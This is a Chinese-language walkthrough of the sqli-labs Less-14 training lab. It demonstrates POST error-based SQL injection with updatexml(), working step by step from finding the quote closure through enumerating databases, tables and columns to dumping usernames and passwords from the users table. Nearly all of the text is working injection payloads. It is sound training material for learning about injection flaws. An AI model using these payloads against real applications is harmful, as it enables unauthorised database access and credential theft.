sqli-labs less-14post报错注入updatexml

post提交报错注入

闭合方式及注入点

利用hackbar进行注入，构造post语句

uname=aaa"passwd=bbb&Submit=Submit
页面报错，根据分析，闭合方式".

确定列数

构造

uname=aaa" or 1=1 # &passwd=bbb&Submit=Submit 确定存在注入

uname=aaa" order by 3 # &passwd=bbb&Submit=Submit 有报错
uname=aaa" order by 2 # &passwd=bbb&Submit=Submit 无报错，列数2

回显位置

uname=aaa" union select 1,2 # &passwd=bbb&Submit=Submit
发现页面没有回显，想到前面 存在报错，想到报错注入

使用updatexml()函数来进行报错注入

查询数据库与版本等

• uname=aaa" union select 1,updatexml(1,concat(‘~’,(select database())),3) # &passwd=bbb&Submit=Submit
  数据库名
• uname=aaa" union select 1,updatexml(1,concat(‘~’,(select version())),3) # &passwd=bbb&Submit=Submit
  版本

爆出所有数据库

• uname=aaa" union select 1,updatexml(1,concat(‘~’,(select schema_name from information_schema.schemata limit 0,1)),3) # &passwd=bbb&Submit=Submit
• uname=aaa" union select 1,updatexml(1,concat(‘~’,(select schema_name from information_schema.schemata limit 5,1)),3) # &passwd=bbb&Submit=Submit
  通过修改limit函数的值来查询所有的数据库名

爆出所有表名

• uname=aaa" union select 1,updatexml(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),3) # &passwd=bbb&Submit=Submit
• uname=aaa" union select 1,updatexml(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),3) # &passwd=bbb&Submit=Submit
• uname=aaa" union select 1,updatexml(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 2,1)),3) # &passwd=bbb&Submit=Submit
• uname=aaa" union select 1,updatexml(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),3) # &passwd=bbb&Submit=Submit
  得到users表

爆出列名

• uname=aaa" union select 1,updatexml(1,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1)),3) # &passwd=bbb&Submit=Submit
• uname=aaa" union select 1,updatexml(1,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1)),3) # &passwd=bbb&Submit=Submit
• uname=aaa" union select 1,updatexml(1,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1)),3) # &passwd=bbb&Submit=Submit
  得到列id,username,password

爆出数据

• uname=aaa" union select 1,updatexml(1,concat(‘~’,(select concat(username,‘:’,password) from security.users limit 0,1)),3) # &passwd=bbb&Submit=Submit
  修改0的值，就可以得到所有的数据

完成，